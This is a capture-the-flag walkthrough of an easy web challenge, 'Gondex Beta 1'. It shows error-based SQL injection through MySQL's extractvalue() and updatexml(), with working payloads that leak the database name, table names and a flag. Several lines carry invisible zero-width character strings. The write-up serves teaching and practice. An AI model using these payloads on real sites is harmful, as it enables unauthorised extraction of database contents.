Gondex Beta 1

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: error_based_sqli_extractvalue, xpath_error_injection

Summary

Walkthrough of the CUSTOM Web Gondex Beta 1. A task from the "error" category on the Web Kids 2.0 platform. The "Gondex Beta 1" search engine displays SQL errors on invalid queries, allowing error-based SQL injection.

Description

A task from the "error" category on the Web Kids 2.0 platform. The "Gondex Beta 1" search engine displays SQL errors on invalid queries, allowing error-based SQL injection.

URL: http://kslweb1.spb.ctf.su/sqli/error1/

Analysis

When entering special characters in the search field (e.g., a single quote '), the application displays SQL errors. This is a classic sign of error-based SQL injection vulnerability.

Key observations:

• MySQL database (based on error syntax)
• Errors are displayed to the user
• Functions extractvalue() and updatexml() are available ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Confirming the vulnerability

Entering a single quote triggers an SQL error:

' 

Step 2: Error-based extraction via extractvalue()

The extractvalue() function in MySQL takes XML and an XPath expression. With an invalid XPath, it outputs an error containing the result of the nested query.

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, (SELECT database()))) -- 

This returns an error like:

XPATH syntax error: '~database_name'

Step 3: Extracting tables

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) -- 

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Extracting the flag

After determining the database structure:

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, (SELECT flag FROM secret_table LIMIT 0,1))) -- 

Alternative: updatexml()

 sql read-only • copy allowed Copy
' AND updatexml(1, CONCAT(0x7e, (SELECT flag FROM secret_table)), 1) -- 

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering error_based_sqli_extractvalue, xpath_error_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Gondex Beta 1 • Difficulty: Easy